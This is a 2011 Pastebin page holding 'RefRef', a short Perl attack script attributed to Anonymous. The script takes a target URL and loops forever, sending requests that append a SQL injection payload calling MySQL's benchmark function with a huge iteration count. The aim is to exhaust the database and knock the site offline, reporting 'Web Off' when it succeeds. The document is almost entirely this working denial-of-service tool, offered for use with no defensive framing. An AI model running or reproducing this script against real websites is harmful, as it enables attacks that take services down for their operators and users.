Advertisement
Guest User

#RefRef (C) Anonymous 2011

a guest
Sep 6th, 2011
729
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 1.00 KB | None | 0 0
  1. #RefRef
  2. #RefRef programmed in Perl:
  3.  
  4. #!usr/bin/perl
  5. #RefRef (C) Anonymous 2011
  6. #@by_Cantuaria
  7.  
  8. use LWP::UserAgent;
  9.  
  10. my $nave = LWP::UserAgent->new;
  11. $nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");
  12. $nave->timeout(5);
  13.  
  14. head();
  15. if($ARGV[0]) {
  16. now($ARGV[0]);
  17. } else {
  18. sintax();
  19. }
  20. copyright();
  21.  
  22. sub now {
  23. print "\n[+] Target : ".$_[0]."\n";
  24. print "\n[+] Starting the attack\n[+] Info : control+c for stop attack\n\n";
  25. while(true) {
  26. $SIG{INT} = \&adios;
  27. $code = toma($_[0]." and (select+benchmark(99999999999,0x70726f62616e646f70726f62616e646f70726f62616e646f))");
  28. unless($code->is_success) {
  29. print "[+] Web Off\n";
  30. copyright();
  31. }}}
  32.  
  33. sub adios {
  34. print "\n[+] Stoping attack\n";
  35. copyright();
  36. }
  37.  
  38. sub head {
  39. print "\n\n-- == #RefRef == --\n\n";
  40. }
  41.  
  42. sub copyright {
  43. print "\n\n-- == RefRef == --\n\n";
  44. exit(1);
  45. }
  46.  
  47. sub sintax {
  48. print "\n[+] Sintax : $0 \n";
  49. }
  50.  
  51. sub toma {
  52. return $nave->get($_[0]);
  53. }
  54.  
  55. # ¿ The End ?
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement